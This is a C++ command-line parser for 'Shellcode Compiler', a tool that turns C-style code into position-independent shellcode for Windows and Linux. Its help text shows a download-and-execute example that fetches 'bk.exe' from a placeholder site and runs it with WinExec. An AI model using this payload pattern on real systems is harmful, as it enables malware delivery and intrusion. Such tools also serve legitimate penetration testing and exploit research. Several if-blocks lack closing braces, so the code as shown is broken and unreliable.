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#include "CommandLine.h"

// Program version

#define PROGRAM_VERSION "v2.0 Alpha"

// Global variable for command line arguments

bool CommandLine::g_bHelp = false;

bool CommandLine::g_bVerbose = false;

bool CommandLine::g_bTest = false;

bool CommandLine::bError = false;

bool CommandLine::g_bPlatform = false;

string CommandLine::g_sPlatform = "";

PLATFORM_TYPE CommandLine::g_ePlatform = PLATFORM_TYPE_WINDOWS_X86;

bool CommandLine::g_bReadFile = false;

string CommandLine::g_sReadFile = "";

bool CommandLine::g_bOutputFile = false;

string CommandLine::g_sOutputFile = "";

bool CommandLine::g_bASMFile = false;

string CommandLine::g_sASMFile = "";

// Print help

void CommandLine::PrintHelp(string p_sFile)

{

cout << endl;

cout << "Shellcode Compiler " << PROGRAM_VERSION << endl;

cout << "Ionut Popescu [ NytroRST ]" << endl;

cout << "NytroSecurity [ nytrosecurity.com ]" << endl << endl;

cout << "Program description" << endl;

cout << "-------------------" << endl << endl;

cout << "\tShellcode Compiler is a program that compiles C/C++ style code into a small, " << endl;

cout << "\tposition-independent and NULL-free shellcode for Windows (x86 and x64) and " << endl;

cout << "\tLinux(x86 and x64). It is possible to call any Windows API function or Linux " << endl;

cout << "\tsyscall in a user - friendly way. " << endl << endl;

cout << "Command line options " << endl;

cout << "--------------------" << endl << endl;

cout << "\t-h (--help) : Show this help message" << endl;

cout << "\t-p (--platform) : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64" << endl;

cout << "\t-v (--verbose) : Print detailed output" << endl;

cout << "\t-t (--test) : Test (execute) generated shellcode" << endl;

cout << "\t-r (--read) : Read source code file" << endl;

cout << "\t-o (--output) : Output file of the generated binary shellcode" << endl;

cout << "\t-a (--assembbly) : Output file of the generated assembly code" << endl << endl;

cout << "Windows example" << endl;

cout << "---------------" << endl << endl;

cout << "\tfunction URLDownloadToFileA(\"urlmon.dll\");" << endl;

cout << "\tfunction WinExec(\"kernel32.dll\");" << endl;

cout << "\tfunction ExitProcess(\"kernel32.dll\");" << endl << endl;

cout << "\tURLDownloadToFileA(0,\"https://site.com/bk.exe\",\"bk.exe\",0,0);" << endl;

cout << "\tWinExec(\"bk.exe\",0);" << endl;

cout << "\tExitProcess(0);" << endl << endl;

cout << "Linux example" << endl;

cout << "-------------" << endl << endl;

cout << "\tchmod(\"/root/chmodme\", 511);" << endl;

cout << "\twrite(1, \"Hello, world\", 12);" << endl;

cout << "\tkill(1661, 9);" << endl;

cout << "\tgetpid();" << endl;

cout << "\texecve(\"/usr/bin/burpsuite\", 0, 0);" << endl;

cout << "\texit(2);" << endl << endl;

cout << "Invocation example" << endl;

cout << "------------------" << endl << endl;

cout << "\t" << p_sFile << " -p windows_x64 -r Source.txt -o Shellcode.bin -a Assembly.asm" << endl << endl;

}

// Parse command line arguments

void CommandLine::ParseCommandLine(int argc, char *argv[])

{

string CurrentParam;

string NextParam;

// Check arguments

for (int i = 1; i < argc; i++)

{

CurrentParam = argv[i];

if (i + 1 < argc) NextParam = argv[i + 1];

else NextParam = "";

// Check options

if (CurrentParam.compare("-h") == 0 || CurrentParam.compare("--help") == 0) g_bHelp = true;

else if (CurrentParam.compare("-v") == 0 || CurrentParam.compare("--verbose") == 0) g_bVerbose = true;

else if (CurrentParam.compare("-t") == 0 || CurrentParam.compare("--test") == 0) g_bTest = true;

// Arguments that require an option as a second argument

else if (CurrentParam.compare("-r") == 0 || CurrentParam.compare("--read") == 0)

{

g_bReadFile = true;

if (NextParam.length() > 0) g_sReadFile = NextParam;

else

{

bError = true;

cout << endl << "Missing required value for -r argument" << endl;

}

else if (CurrentParam.compare("-p") == 0 || CurrentParam.compare("--platform") == 0)

{

g_bPlatform = true;

if (NextParam.length() > 0) g_sPlatform = NextParam;

else

{

bError = true;

cout << endl << "Missing required value for -p argument" << endl;

}

else if (CurrentParam.compare("-o") == 0 || CurrentParam.compare("--output") == 0)

{

g_bOutputFile = true;

if (NextParam.length() > 0) g_sOutputFile = NextParam;

else

{

bError = true;

cout << endl << "Missing required value for -o argument" << endl;

}

else if (CurrentParam.compare("-a") == 0 || CurrentParam.compare("--assembly") == 0)

{

g_bASMFile = true;

if (NextParam.length() > 0) g_sASMFile = NextParam;

else

{

bError = true;

cout << endl << "Missing required value for -a argument" << endl;

}

// Check for errors

if (bError == true)

{

cout << "Cannot compile, check command line arguments!" << endl;

return;

}

// Help

if (g_bHelp)

{

PrintHelp(argv[0]);

return;

}

// Set platform

if (g_bPlatform)

{

Platform::SetPlatformString(g_sPlatform);

cout << endl << "Target platform: " << Platform::GetPlatformString() << endl;

}

// Parse source file

if (g_bReadFile)

Compile::ParseFile(Utils::ReadSourceFile(g_sReadFile));

else

{

cout << "You must specify a source code file!" << endl;

return;

}

// Output data from verbose mode

if (g_bVerbose) DebugUtils::DumpAllData();

// Compile all data

string sASMOutput = Compile::CompileAllData();

// Output ASM file

if (g_bASMFile)

{

if (Utils::FileExists(g_sASMFile)) Utils::DeleteSourceFile(g_sASMFile);

Utils::WriteToFile(g_sASMFile, sASMOutput);

}

// Output file

if (!g_bOutputFile)

g_sOutputFile = "Shellcode.bin";

if (Utils::FileExists(g_sOutputFile)) Utils::DeleteSourceFile(g_sOutputFile);

// Compile using Keystone engine

size_t nAssembledSize = 0;

unsigned char *pcAssembled = KeystoneLib::Assemble(&nAssembledSize, sASMOutput);

if (nAssembledSize == 0)

{

cout << "ERROR: Cannot compile the code!" << endl;

return;

}

// Write output to file

size_t nResult = Utils::WriteBinaryFile(g_sOutputFile, pcAssembled, nAssembledSize);

if (nResult == 0)

{

cout << "ERROR: Cannot write the compiled shellcode to file!" << endl;

return;

}

// Test shellcode

if (g_bTest)

{

cout << endl << "Testing shellcode..." << endl;

// Cross platform sleeping (be sure output file is written)

#if defined(_WIN32)

Sleep(1000);

#else

sleep(1);

#endif

DebugUtils::TestShellcode(g_sOutputFile);

}